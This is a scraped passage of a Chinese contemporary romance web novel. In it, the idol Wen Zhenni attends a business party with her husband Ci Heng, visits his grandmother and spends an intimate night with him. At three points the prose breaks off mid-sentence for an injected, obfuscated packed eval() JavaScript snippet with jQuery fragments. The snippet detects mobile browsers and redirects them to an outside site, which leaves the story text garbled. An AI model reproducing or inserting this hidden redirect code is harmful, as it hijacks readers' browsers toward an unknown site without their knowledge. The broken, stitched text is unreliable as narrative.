但是万蕾已经深陷舆论风波,热搜一时半刻很难压下去。
“姐,这件事会不会影响到你呀?”
热搜爆出来后,橙子一直提心吊胆。
影不影响的她不知道,温珍旎反正是惊了一身冷汗。
恰好是那个时间段,要是拍到她和慈恒……
此刻被架在热搜上的就是她了。
温珍旎深吸一口气,强行压下心头的后怕,将包递给橙子,低声交代:“在外面等我。”
她抬手,站在办公室木门前,不轻不重地叩了两下。
“请进。”
门内传来浩然姐的声音,温珍旎推门而入。
屋里除了她的经纪人浩然姐,唐雨也在。
温珍旎的目光与她交汇了一瞬,对方立即低下了头,长长的睫毛垂下,拙劣地掩饰着哭过的痕迹。
浩然姐指着沙发,“坐吧。”
“万蕾的事,你知道了吧?”她问。
温珍旎点头,“听说了一些。”
万蕾的事闹得满城风雨,公司上下为了这事焦头烂额。
浩然姐一个上午都在处理这件事,脸色实在称不上好,期间唐雨一直低着头回话,偶尔小声反驳几句。
温珍旎靠在沙发里听了一会儿,总算明白了她们争论的东西。
出了这件事,资方肯定要规避风险,及时止损的,因此万蕾的资源毫不意外地向其他队员倾斜。
尤其是她争取了好久的那部电影,在一个小时前递到了其他队员的手里。
资源重新分配下来,作为重点培养的队员优先挑了最好的本子,其次才轮到其他人。
唐雨是五人当中存在感最低的,其实她业务能力不差,长相又极耐看,按道理讲,资源不会虐到哪去。
但事实是,她拿到的角色平平无奇,参演的电视剧扑得毫无水花。
这次给到她的是一部电影的女二,人设形象颠覆有点大,唐雨表示自己不适合。
她看好的是一档生活体验类综艺,浩然姐却觉得她不适合真人秀,没同意。
“其实小雨上综艺也不错,说不定有新突破。”
温珍旎帮唐雨说话,“不如让她试试?”
浩然姐不这么认为,“这档综艺明显你比她合适。”
温珍旎指尖划动着手机屏幕,头也没抬,“我不接综艺。”
浩然姐转着笔的手一顿,不大高兴,“温珍旎,就算做到top,也不是所有好资源都能分到你头上。你确定要跟她换?”
唐雨也看她。
温珍旎没犹豫,“没演过这类角色,算是新的体验吧。”
浩然姐将笔往桌上一摔,皱着眉朝唐雨道:“小雨,你先出去。”
唐雨起身出去后,浩然姐把一份文件砸到了温珍旎怀里。
“你的舞台业务能力是不错,但你也该看看网上对你的演技评价。”
温珍旎年少出道,演过的影视剧不少了,就算不是主角,也是戏份重要的配角,但她一直没怎么关注过评价。
大致翻了一下,都是抨击她演技浮夸的,更甚者是没有理由的纯人身攻击。
而这还仅仅是冰山一角。
旁人看了都血压飙升,温珍旎却表情淡定地翻完了。
她合上文件夹,“相信我,可以搞定的。”
浩然姐无奈揉额,她的好心劝阻,就像一拳打在棉花上,“行,你想好就行。”
该说的都说了,浩然姐做出妥协,“万蕾的事闹得实在太大,近期你们几个注意点,尤其是恋情方面。还有,出门带好保镖和助理。”
“知道了。拿到剧本通知我吧。”
温珍旎起身准备告辞,浩然姐突然叫住她。
“珍旎,你想好了吗,要不要续约?”
浩然姐笑着说:“其实我最看好的是你。”
她签进公司的第一天,上头就亲自交代,娱乐圈上不得台面的脏东西不要入她的眼,但也不需要给顶级的资源。
饶是她看多了资源咖们的百般手段,自诩深谙人心,也看不明白这中间的弯绕。
不是封,不是捧,那到底是什么?
她琢磨了良久,才确认,温珍旎背靠的大树盘根错节,只要她身后的人点头,顶级的资源都会优先捧到她面前,任她挑选。
温珍旎愣了愣,莞尔一笑,“谢谢。”
但是不合适。
她推门出来,等在走廊里的唐雨走上前。
“对不起,刚刚我太着急了。”
唐雨抿着唇,表情内疚,“我没有家世背景可以依傍,只能用这种方式争取想要的东西。”
相处的这些年,她的努力和遭遇的不公,温珍旎都看在眼里的,所以理解她的处境。
“没必要跟任何人道歉,这就是你争取来的东西。”
她这么安慰自己,唐雨反而更想哭了,“珍旎,我都不知道怎么谢你才好。”
唐雨哽咽着,激动得快说不出话,只好轻轻抱住她,“谢谢。”
“好啦,我们之间说什么谢不谢的。”
温珍旎轻抚她的背,“加油。”
和唐雨分开后,温珍旎乘电梯下行去停车场。
她踩着高跟鞋,跟奚淼聊着天,找到车位上的宾利慕尚,拉开车门刚钻进后座,表情愣住。
本该属于她的宽敞后座上,端坐着一个意想不到的身影。
“老公!”
男人穿了剪裁考究的戗驳领礼服西装,雪白的衬衫系着温莎结领带,头发向后梳拢,露出光洁饱满的额头和硬挺的眉眼,比起平时,浑身散发着更为凌厉的英俊和郑重感。
连头发都精心捯饬过了,打扮得像是要去结婚,很显然,不是专门来接她的。
温珍旎被帅气呼了一脸,足足愣了几秒,才找回自己的声音,“你穿正装做什么,要去哪?”
虽然平时也帅得人神共愤,但是把纽扣扣到脖子的禁欲系是限定款,可遇不可求。
温珍旎管得了自己的心,可管不住自己的手。
她伸出狼爪,志在扰乱男人的道心,大吃其肉,就被慈恒眼疾手快地抓住,按在腿上,把包天色胆提前扼杀在摇篮里。
“奶奶打电话让我们回家吃饭。”
“但是在这之前,你要陪我去闻峥的私人酒会。”
回国就接手泰华,他需要露脸的场合,这对他应该很重要。
作为督促他努力挣钱的贤内助,温珍旎答应得相当痛快,“好的,老公。”
“老婆陪老公出席商业宴会,天经地义。”
真乖。
慈恒弯了弯唇,捏住她的手,力道不轻不重,在她掌心软肉上意味不明地揉捻了一下。
就是演技太烂,乖的有些假了。
“开车。”他的声音恢复了一贯的沉稳,对着前方的司机吩咐道。
宾利慕尚从地下室驶出,碾过城市繁华光影,汇入车流,一个钟头后抵达山麓酒庄。
闻峥的酒会安排在他的私人酒庄,来的除了商圈名流,还有各界的巨擘大拿。
接待人员将慈恒迎入正厅,冯振也才刚到。
两人打过招呼,一边说话,一边游刃有余地应付过来攀谈结交的名流。
宾客来得差不多时,酒会的主人闻峥夫妇现身在宴会大厅。
气质矜贵的男人被人群环绕着,他端着高脚杯站在中心,一身手工西装熨帖工整,衬得气质卓然。
而臂弯里挽着的爱妻钟雪,今晚穿了一条波光粼粼的白色鱼尾礼服裙,光洁优雅的天鹅颈上佩了一条价值不菲的祖母绿宝石项链。
水晶灯的折射下,项链镶嵌的宝石熠熠生辉,看得冯振都瞪圆了眼睛。
“那套祖母绿,十大传奇珠宝中的一件,当年可是拍出两个亿的天价。”
冯振语气夸张,啧地一声,“不愧是宠妻狂魔。”
“一套珠宝就是宠妻狂魔了?”慈恒眉尾轻挑。
冯振嘿嘿笑道:“你也不差嘛,别说两个亿的宝石,十个亿的珍珠你眼睛都不眨。”
越说越离谱了。
慈恒乜他一眼,“十个亿的珍珠,真敢想,你的钱是大风刮来的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861601|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
冯振:“……”
冯振噎了一下,眼角余光扫到闻峥夫妇身影,迅速收敛起神色,“闻哥,雪姐。”
慈恒从容地转过身,向朝他走来的闻峥夫妇举起香槟杯,“好久不见,近来一切都好?”
“还是老样子,瞎忙。”闻峥跟他碰了杯,搭住他的肩,“到是你,总算舍得回来了。”
钟雪抿唇笑,“闻峥天天念叨你,真怕你不回来了。”
四人是从小到大关系很好的朋友,几年没见了,有好多话要说,钟雪便引着他们去休息区。
侍者过来斟了酒,冯振端起捷克水晶杯,“闻哥,伯父的珍藏你都拿出来了。”
闻峥:“酒酿来就是给人喝的。”
钟雪看向慈恒,“旎旎的演唱会开完了,我听说组合单飞了,那行程应该会比以往少些了吧?”
慈恒说是,“她也来了,不方便露面,我让人带她去了楼上休息室。”
冯振乐呵呵的,跟他开起玩笑,“所以你当老公的就把老婆扔在一边了?”
慈恒毫不客气地怼回去,“你会当老公,你老婆呢?”
“……”冯振捂住胸口,他的心被扎透了,“恒哥,你是会扎心的。”
钟雪忍俊不禁。
不过说起慈恒的婚姻,她也挺有兴致,“话说回来,你结婚也有三年了,我一直都想问问你,我们珍旎到底有什么魔法,居然能让你接受联姻。”
这话问得足够直白了,闻峥也八卦地盯着慈恒,想听他怎么评价这个和他一起长大的青梅。
慈恒没觉得有多难启齿,直言道:“她很善良。”
要知道在这个功利浮躁的社会,保持一颗纯粹的心有多难得。
这个回答实在没新意,甚至有点空泛,闻峥却很认同地和他碰了杯。
钟雪继续追问:“她就没有缺点么?”
慈恒:“太善良,太有正义感,容易冲动行事。”
这哪里是缺点啊,分明还是优点好吧。
钟雪愣了一下,没想到还能这样回答。
“行吧,你们先聊着,我上去找她说会话。”
钟雪笑着起了身,往楼梯方向去。
闻峥捏着酒杯,若有所思地看慈恒,“我说你,该不会是为了离婚才回来的吧?”
慈恒眉心微拧,不明白他的意思,“什么意思?”
冯振也惊到了,“宁拆一座庙,不毁一桩婚。闻峥,你不厚道啊。”
闻峥不理他,“你不是因为联姻才去海外的?”
冯振差点把酒给喷出来,“我们认识有二十多年了,你看他是那种会低头屈服的人吗?”
闻峥摊手,“没办法,我们一直以为你只是把温珍旎当妹妹看。”
慈恒无语至极,“谁家好人跟妹妹结婚。”
“真不是为了离婚?”
“少传谣。”
慈恒实在无奈,直接坦白道:“我们一起长大,就算没有爱情,也是彼此了解的朋友,做夫妻不会坏到哪去。”
“至于分开的这三年,是因为我的事业规划,不是感情问题。”
他顿了一下,神情忽然有点一言难尽,“婚前她说,跟她结婚就不可能离婚,只有丧偶。性命攸关的事,我怎么可能当儿戏。”
“噗……”
冯振被酒呛了一下,“这话像是她会说的。”
别看温珍旎乖,脑回路却出奇。
听他亲口说出原因,闻峥还是挺意外的,“所以你们现在是夫妻团聚,打算正儿八经过日子了?”
“嗯。”
闻峥笑了一下,突然八卦起来,“你喜欢她吗?”
慈恒眯起眼,没有直接回答,“她爱自己,所有好的都会是她的,我也是她的。”
他抿了一口酒,视线落向灯下的衣香鬓影。
灯影交错里,衣着光鲜的男女游走在名利场。
无人注意的角落,两个女人从人群里出来,挽着裙子地上了楼。
“喂,你看到没有?跟闻先生坐在一起的那位,就是从海外回来的泰华慈总。”
同伴像是听到了不得了的消息,“你是说那个年纪轻轻就操纵商业帝国,坐拥亿万财富,连平日里眼高于顶的商界大佬都得陪笑的慈恒?”
女人笃定地点头,拉着她往休息室走,一边小声说:“他很少在公开场合露面的,婚前婚后私生活上几乎没有绯闻。”
“对了,你有见过他老婆吗?就是珠宝金家的那位千金。”
“没见过,金家把子女保护得很好,只知道是一双儿女,连他们的生母是谁都没人知道。”
4. 004
两个女人挽着手,压低了嗓音,交换着在宴会上听来的八卦,最终停在了一间相对安静的休息室前。
厚重的房门虚掩着,透出一线缝隙,房间没开主灯,漆黑一片,唯有靠近落地窗的位置,孤零零地亮着一盏罗马柱造型的落地灯,橘色光晕温柔地笼罩着角落那张深红色的宫廷式天鹅绒沙发。
“累死了,进去歇会儿。”其中一个女人小声说着话,声音里带着放松的慵懒。
两人轻手轻脚地推开了门,朝着光源走去,就在距离沙发还有几步之遥时,才看到沙发里鼓起了一块。
沙发凹陷下去的地方,女人一袭黑色钉珠片连衣裙,紧贴着腰身起伏的曲线,在暖光下泛起丝绒的光泽,那光泽顺着臀线往下,一双紧致有力的小腿交叠着。
最惹眼的,是那双足尖点地的绑带高跟鞋,墨绿色的丝带缠绕着脚踝,蛇一般蜿蜒而,性感得近乎挑衅。
反应过来这里有人,女人赶紧说了声抱歉,互相拉扯着离开。
温珍旎听到渐远的脚步声,才察觉到有人来过了。
她神情迷茫地望向门口,只看到两个匆忙的背影。
温珍旎疑惑间,门外又响起一阵动静,她撩起眼帘往门口看去,一抹白裙款款而入。
看到灯下笑吟吟朝她伸手的女人,温珍旎猛地从沙发上跳起来,扑上去把人抱住,“雪姐,好久不见。”
“是啊,好久不见了。”钟雪伸手点住她脑袋,“我只好亲自来见一面我们大小姐了。”
温珍旎轻轻吐舌,挽着她坐下,“见到慈恒了?”
“闻峥跟他说话,我就上来看看你。”
桌上有白葡萄酒,钟雪倒了一杯给她,“快跟雪姐说说,你跟慈恒怎么样?”
温珍旎捧着酒杯,“挺好的呀,以前各忙各的事业,连见面的时间都没有,过得跟单身没区别。现在好了,有更多时间了,他会好好跟我过日子的。”
钟雪不禁一笑,“哪里需要那么复杂。”
见温珍旎目露疑惑,钟雪道:“睡服他就行了,一次不行就两次,两次不行就三次。”
温珍旎被她逗笑,撑着脑袋歪在沙发上,感慨地叹气,“以前是熟到不能再熟的大哥哥,突然转换身份做了夫妻,还挺不真实的。”
“放心吧,你眼光不错,慈恒会是一个好丈夫。”
“那是肯定。”温珍旎的骄傲快溢出来,藏不了一点,“到底是我老公呀。”
她语气夸张,却不让人觉得是刻意炫耀,只会觉得真实可爱。
跟这样的女孩子来往,不必弯弯绕绕,还能得到极高的情绪价值。
也难怪了,慈恒那样的高岭之花,会和她联姻。
会在和朋友聊到她时,把缺点说成优点。
这对小夫妻,真有意思。
“对了,你接下来有档期吗?”她突然问起。
温珍旎:“嗯,不出意外的话,近期还要拍一部电影。”
“那就好。”
钟雪也不和她拐弯抹角,“我们在筹备一部电视剧,小说《名流》改编的,你的形象气质都特别符合女主人设,有没有兴趣出演?”
钟雪是业内有名的制片人,她手里的作品是人人争抢的香饽饽,何况是这种明显冲着拿奖去的文学作品。
“真给我?”温珍旎不确定地问。
“心动吗?”
“肯定的呀。”
能拿到这个机会肯定好,可是她心头惴惴的,“……雪姐不怕我搞砸了?”
钟雪似乎比她都要相信她,“我相信你可以的,国际影星的女儿,资质不差。”
被她这么一夸,温珍旎有些脸热。
“雪姐盛情相邀,那我就不推辞了。不过我和公司的合约到期了,拍完电影就要解约。”
“不急,剧组还在筹备期间。等你拍完电影,再联系你的经纪人不迟。”
两人相视一笑,碰了杯,又兴致勃勃聊起了最近拍卖会上的奇珍异宝。
相谈甚欢时,一个佣人上楼给钟雪传话,说是张总太太到了,闻峥让钟雪下去接待。
外面还有客人陆续到来,钟雪作为主人不好逗留,于是起身和温珍旎道:“那你自己玩,我去一下。”
温珍旎:“好。”
酒会还不知道要什么时候结束,钟雪离开后,温珍旎脱了鞋在沙发躺下。
佣人送来了一盘切好的水果来,她吃着果切,点开万蕾的热搜。
晚上九点,外面淅淅沥沥下起了小雨。
酒庄里灯火璀璨,宾客们还未尽兴。
慈恒被熟悉的叔伯长辈拉着攀谈,许久才得以脱身,跟着佣人上楼来。
大概等太久了,一个人又无聊,休息室里的人睡着了,手里还在播放视频。
睡得是天昏地暗,走动的脚步声都没能惊醒半分。
慈恒站在沙发旁,直勾勾盯了好一会儿。
没叫醒她,而是拿过卷在一旁的外套,将人裹住。
佣人忘了关窗户,雨夜的薄寒钻进来,小腿到脚触手一片冰凉。
慈恒皱着眉把鞋给穿上,俯身去抱她,温珍旎揉着眼皮醒转。
“已经结束了吗?”睡懵了,带着沙沙的鼻音。
看清是他后,自然而然拱到怀里,还知道找最舒服的位置。
“……”
慈恒认命地把人抱起来。
今天来的人多,人多眼杂的,不方便,为了保护隐私,司机把车开到酒庄后面隐蔽的位置。
躲出来抽烟的冯振就在廊下,看到从房间里走出来的人影,调侃道:“温大小姐这就起驾回宫了?”
说话没个正形。
慈恒不跟他耍贫,“帮我跟闻峥带个话,我们先回了。”
“行。”
冯振乐呵呵地应下,帮他关好车门,“下回再聚。”
回去的路比较远,司机全程开得平稳,温珍旎睡得沉,到家还没醒来的意思。
慈恒打发了司机,在车上看了会手机,才将人拍醒。
“到家了?”
像是被强行唤醒的猫,顶着乱糟糟的头发,眼神发懵,透着强烈的反差萌。
温珍旎目光迷离了一会儿,揉着眼,散乱的发丝贴在脸颊上,脸蛋也睡得热乎乎。
人是醒了,意识还没回笼。
她亦步亦趋的,任凭慈恒牵着手进了屋子。
樟园不如紫金湾的别墅豪奢,住宅就是两层老式洋房,占地面积不大,胜在环境清雅,风景怡人。
但这房子毕竟有些年头了,即便维护得当,到底还是不方便。
慈家人希望慈奶奶能去紫金湾颐养天年,但老人住了几十年,习惯了这里,根本舍不得挪窝,家里人也没强求,就跟着一块住。
这会儿还没到睡觉的时间,慈老太太执意要在客厅等他们。
瞧见慈恒牵着人进屋,老太太脸上堆起笑,冲温珍旎招手,“我的宝哟,又好些天不见,快来让奶奶看看。”
“奶奶。”温珍旎惯会撒娇,抱住老人家,软声叫人。
慈奶奶捧起温珍旎的脸,看她没睡醒的样子,偏头剜了一眼慈恒,“看把我们旎旎困的。人家睡得好好的,你干嘛把人叫醒。”
刚端起杯子喝水的慈恒:“……”
“奶奶,跟他没关系,是我想见你。”
温珍旎帮他解了围,抱着慈奶奶的手,要陪她说话,慈奶奶却强行赶她去睡觉。
慈恒喝完水,也准备回卧室。
慈奶奶把人叫住,“宋姨煮的葛根汤,你喝完了再睡。”
葛根汤是解酒的。
宋姨端来一碗,慈恒听话地喝了。
慈奶奶又说:“还有旎旎,你端一碗给她。”
这味道又辛又甘的,属实不算爽口。
慈恒松开衣襟,“别了,她不爱这个。”
“那算了,你晚上照顾好她。”
“知道了,又不是小孩子。”
慈恒嘀咕,“到底谁是你亲孙子。”
“再胡说就打嘴。”
慈奶奶瞪他,目光落到他手指上,又嗔怪道:“结婚好几年的人了,婚戒也不戴,像什么样子。”
慈恒下意识抬手,指尖空荡荡的。
他没有佩戴首饰的习惯,自然不记得戴婚戒。
默了默,他道:“知道了,回去就戴。”
慈奶奶朝他胸口拍了一掌,“你最好是记住了。”
“奶奶给了你三年时间,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861602|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经是最大的让步。回来就跟旎旎认真过日子,别和那些玩女人不学好的纨裤厮混。”
三年前他和温珍旎还年轻,成家太早。
去海外分司历练是他提出的,温珍旎也尊重他的决定。
但老人觉得两地分居不利夫于妻感情发展,好说歹说,才给了三年时间。
慈恒既然亲口答应了奶奶,就绝不会反悔,“我心里有数,你老就别操这个心了。”
**
初春雨夜,薄薄的雾气笼罩着樟园,城市的灯火在远处晕染出一副潮湿的雨夜图。
房间很久没住人,佣人提前点了檀香,此刻弥漫着浅淡的香氛。
慈恒将云母扣解开,敞开衬衣领口,走到窗前,目光透过雨幕,望了一眼灯火阑珊的天际线。
浴室里水声哗啦,温珍旎在洗澡。
他调高房间温度,把脱下的衬衣随手扔在沙发上,去了旁边的公浴。
简单洗了个澡回来,身体放松地陷进沙发,捞过手机,浏览今晚的要闻。
不多时,窗外的冷雨逐渐密集起来,浅浅地打在玻璃上。
柔和的暖光里,浴室的门悄无声息地打开,一股湿润的热气伴着身影飘出。
温珍旎裹着浴袍,看见男人靠在沙发里,便放轻了脚步,蹑手蹑脚地靠过去,快靠近人时,突然扑过去。
不想慈恒早就料到她的意图,预判了她的动作,只是翘了下嘴角,在温珍旎扑过来时率先将人接住。
不过突如其来的重量还是砸得胸口一阵钝痛。
慈恒皱着眉喊痛,“温珍旎,谋杀亲夫是不是?”
“我舍不得。”
温珍旎把下巴放在他肩窝,手指熟门熟路地解开睡袍,从下摆摸进去,“老公,今晚一起睡吗?”
她的头发已经吹干,散发着清新好闻的香气,慈恒吸一口气,按住她在腰腹上肆意妄为的手指。
“往哪摸呢,别乱动。”
睡袍里的腹肌骤然收紧,他声音低沉,磁性,反而更惹人心痒了。
温珍旎捏了捏腹肌,弹性十足,触感真的不要太好。
形状这么完美的肌肉,不能看,不能吃,不能敞开了摸个够,岂不是暴殄天物。
“我要检查,看你最近有没有偷懒懈怠。”
看她眼神,慈恒就知道她脑子里在想什么,“你想得挺美。”
手被捏紧了,温珍旎想挣脱,没挣开,气馁地直嘟嘴,“不给看,还不给摸,你好小气啊。”
慈恒拍她的屁股,“我看你今晚是不想睡了。”
温珍旎在他怀里耍赖,“给我摸我就睡,要我睡就给我摸。”
“行,你说的。”
慈恒扶稳她的脖子,吻住嘴唇的动作近乎凶狠和急切。
背部悬空的刹那,大半个身体都向后倾斜,即便有慈恒扶着,温珍旎还是没有安全感,用尽力气抓紧了他的胳膊。
奈何胳膊上肌肉太硬,滑滑的,抓不稳。
不得不说,这狗男人在国外的这三年,忙归忙,身材保持得还是相当有水准。
宽腰窄臀,肌肉线条分明,却不过分夸张,摸上去的手感特别实在。
如愿摸到了心心念念的腹肌,温珍旎气息变得不稳,颤着手抓他绷紧的腰身。
檀香燃完,床头壁灯的暖光晃动,无声地拉长了沙发上的身影。
像两股藤蔓,紧密地缠绕依附,向黑夜深处无限延申。
冷寒的春夜,窗玻璃上的雨丝密集,错落的敲打声好像一场盛大而特别的伴奏。
气息平息后,取而代之的是声势更加浩大的雨声。
当呼吸得到平复,世界的声音重新涌入耳廓。
慈恒用指尖抹去她额上的细汗,停留在她颊边,“乖宝……”
他叫她乖宝的时候,像是打开他心房闸门的一把密钥。
钥匙转动,洪流奔涌,他们一同被卷入其中,失重般向低处抛落。
他太懂得如何牵引迷途的人了,她根本没有多余的力气抵抗那股温柔的引力,于是放任自己沉潜,就这样被他牵引着偏移了航向。
包裹着她的热意是如此的温暖,以至于在晨光朦胧的光影里,她开始眷恋着由他一手建立的港湾。
5. 005
什么时候睡的,温珍旎记不清了,只是醒来时眼角发涩,喉咙渴得要命。
迷迷糊糊的,慈恒的身影在床边来回走动,明目张胆地晃着他那身极具存在感的肌肉。
温珍旎看得目不转睛,见他转身回来,赶紧捂上眼睛,“你就不能穿上衣服嘛?”
慈恒挑眉,“提上裤子就要跟我划楚河汉界了。”
温珍旎小声支吾,“那不一样。”
刚才是刚才,现在是现在。
慈恒嗤笑一声,没理会,拽着她的脚踝,将人捞在肩上,扛进浴室。
洗完澡,再次躺进被子的时候,温珍旎已经累得手脚酸软,感觉自己像块猪肉。
慈恒把人揽进怀里,鼻尖来回蹭她额头,“有这么累?”
温珍旎抱怨,“腰酸腿疼。”
“没用。”
调侃归调侃,手底下还是替她揉起腰来。
温珍旎感觉舒服多了,脸贴着他胸口,有点无聊地摩挲起他的手指。
慈恒手指中间的骨节偏大,突起的青筋极其性感,她喜欢看,更喜欢上手。
慈恒被她摸得浑身不自在,捉住手腕吓唬,“不累就别睡。”
温珍旎说不,赶紧闭上眼,“我睡着了。”
该说不说,她睡眠是真好,沾枕就能睡着。
只是这睡相,实在不敢恭维。
慈恒小心抽出手臂,拿开她搭在腹上的腿。
起身离开卧房前,关掉主灯,只留了床尾一盏小灯。
慈家的早饭是八点半,温珍旎凌晨早起赶工是常有的事,八点半对她来说不算早,故而跟慈奶奶一起吃完早餐,还陪老人家去附近遛了会弯。
儿孙们常年在外忙工作,回来一次实属不易,老太太一高兴,下午拉着温珍旎出门逛街去了,给买了好些衣服和首饰。
逛到尽兴已经入夜,祖孙俩都没记起倒时差的慈恒,在膳食馆吃过晚饭才回的老洋房。
宋姨在厨房煨汤。
慈恒没在,说是出去夜跑了。
“我看小恒睡得不好,煲点养生汤,等他回来应该差不多了。”
宋姨在慈家做了三十年的帮佣,跟大家相处得早就像亲人一样,慈奶奶信任她,小辈们对她也非常敬重。
温珍旎感念她照顾家里,逛街也没忘记给她带礼物,“宋姨,我给你买了几身衣服,已经放你房间了,记得试一下。”
“旎旎破费了,大家买给我的衣服够多了,穿都穿不过来。”
宋姨笑着感谢了她,“走一天也累了吧,快坐下歇会儿,我去切点水果。”
“好,我去跟奶奶说话。”
等慈恒的时间,温珍旎专心陪着慈奶奶翻照片。
厚厚的相簿里,记录了慈恒从婴儿到孩童,少年到青年,三十年年的人生,每一张都被带着爱意的镜头记录下来。
他出生在一个财力雄厚且幸福美满的家庭,十二岁前,围绕在身边的是友爱的家人,熟悉的朋友,十二岁后,他的世界里多了一个温珍旎。
老太太翻到的照片是两人的第一张合照。
照片里的慈恒是个俊秀的小男孩,昂着下巴,眉眼间满是倨傲,温珍旎站在他身旁,梳两条羊角辫,不知道笑什么,反正笑弯了眉眼。
老太太看着也乐,摇头嗔怪道:“慈恒这孩子随了他爷爷,打小就挂相,瞧这臭脸摆的,也就你性格好,不和他计较。”
温珍旎:“我也跟他吵架的,只是奶奶没看见而已。”
相簿接着往后翻,她和慈恒的合照逐渐增多。
除了生日庆贺,背景不外乎都是学校,时间点也大多是升学日。
慈家人很注重仪式感,慈恒兄弟俩的升学日和毕业仪式,必定是全家出动,纪念合照少不了。
温珍旎和婆婆庄明华去过一次,于是就有了后来的无数次。
去剑桥大学那年,慈恒已经高出大半个头,她挽着慈恒的手,慈恒搭着她的肩,仰着下巴,仍是那副不可一世的样子。
宋姨端着切好的水果过来,晃眼看到照片,“从我们两家来往后,旎旎差不多见证了小恒所有重要的时刻。”
老太太想起往事,眼里都是笑意,“旎旎刚毕业的时候,听说裘家要跟金家联姻,把我吓坏了,一通电话赶紧把慈邵叫回家,抢先把婚事订下。”
宋姨看一眼温珍旎,打趣道:“还是我们老太太快人一步,要不然旎旎就是别人家的媳妇了。”
温珍旎原先是不知道这事的,还是后来听父亲讲起的。
“那也不会,我跟裘司城只是相处很好的朋友。”
祖孙说说笑笑,慈恒也从外面夜跑回来了。
看见祖孙二人坐在客厅,在翻一本相簿说话,没去打扰。
他打开冰箱,拿了瓶矿泉水,刚拧开瓶盖,就被走过来的宋姨拿走。
“别喝凉的,我给你盛汤去。”
宋姨主要照顾老太太的生活起居,特别注重饮食方面的问题,对待小夫妻,自然不会像刘婶那么纵容溺爱,由着他们随便吃喝。
热腾腾的养生汤盛了上来,温珍旎也跟着坐过来。
慈恒喝汤,看她捧着脸,上扬的嘴角还没放下。
“看什么,笑成这样?”
“你小时候的照片啊。”温珍旎眨眨眼,“你在六一节目表演还扮过猪八戒。”
慈恒哼了一声,“怎么可能是我,那是慈宇的照片。”
质疑的眼神仿佛在说,你连自己老公都认不出。
温珍旎一副不信的样子,“小宇的照片怎么在你的相簿里?”
慈宇是慈恒的弟弟,现在泰华旗下的天星机器人研究所里实习。
这周他和团队去各地参展了,没在家。
慈恒噎了一下,酝酿着怎么解释,最后只是一笑了之。
“咦,宋姨做的什么汤,好香。”温珍旎凑过去,“给我也尝一口。”
慈恒舀了一勺递到她嘴边,“张嘴。”
汤汁入口,浓郁的味道充斥口腔,温珍旎双手捧住脸,满足地说了一句“好鲜”。
等慈恒吃完晚饭,温珍旎拖着他去附近散步,然后回房间休息。
躺到床上时,看到浩然姐发的消息,让她明天去一趟公司。
她回了消息,点开一部网络剧打发时间。
慈恒洗完澡出来时,温珍旎已经卷着被子呼呼大睡,霸道地占了整张床。
关掉还在播放的视频,把人往旁边挪了挪,他掀开被子刚躺下,温珍旎就靠过来,把冰冷的双脚紧贴着他的小腿。
慈恒被冷得一激灵,拿开她的脚,挪动身体,温珍旎的身体也跟着倾斜,继续贴过来。
“脚冷。”她迷迷糊糊地地蹭进他怀里,找到最舒服的位置。
“冷成这样,你属蛇的?”
慈恒唇边浮起笑意,捏着她的脸,到底还是把人抱进怀里。
不知道什么时候,窗外下起了雨夹雪。
到清晨时,这座城市俨然被水泡了一夜,风里都带着雨雪的清新和寒意。
和外面截然相反的是,卧房里暖意十足。
被窝里的温珍旎睡得浑身舒坦,根本不想睁眼。
但是床头上的震动声没完没了,实在扰人清梦。
“慈恒……接电话。”温珍旎脚趾轻踹着身边的人。
慈恒搓着脸,摸索着从床头捞过手机,披了件外套,走到阳台上。
按下接听键,电话那头传来总助陆方洋的声音。
雨夹雪早停了,外面倒是干净得赏心悦目,但刀子一样的风直往领口钻,吹得慈恒睡意全消。
他凝视着被薄雪覆盖的云杉,有一下没一下地摩挲着手机边缘。
直到对面将话讲完,目光才从雪景离开。
“嗯,知道了,通知公关部做好准备,随时监控舆论,将影响力控制到最小。另外你再安排一下行程,我现在赶往北城。”
北城那边的工厂出事了,涉及到机密,作为最高负责人,还是亲自去一趟最好。
和总助交代完,慈恒给生活秘书林诺拨去电话,让他收拾好行李到机场等他。
樟园住的时间少,衣帽间里的衣服还是有专人隔三差五来打理的。
慈恒挑了件黑色羊绒衫套上,又从抽屉取出一只百达翡丽腕表。
“你要出门?”
温珍旎进来换衣服,看他戴好手表,在穿衣镜前整理肩袖。
“临时行程,去北城出差。”
“这么突然的吗。”
羊绒衫不太合身,上半身裹得紧紧的,过于结实的胸肌把下摆都撑短了一截。
“好像短了。”
温珍旎从衣柜里找了一件高领的白色线衣,“换这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861603|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个吧,正好配那件黑白格毛呢大衣。”
“确实短了,不是好像。”
重新穿戴好,慈恒对着整理头发,视线无意间落到地毯上。
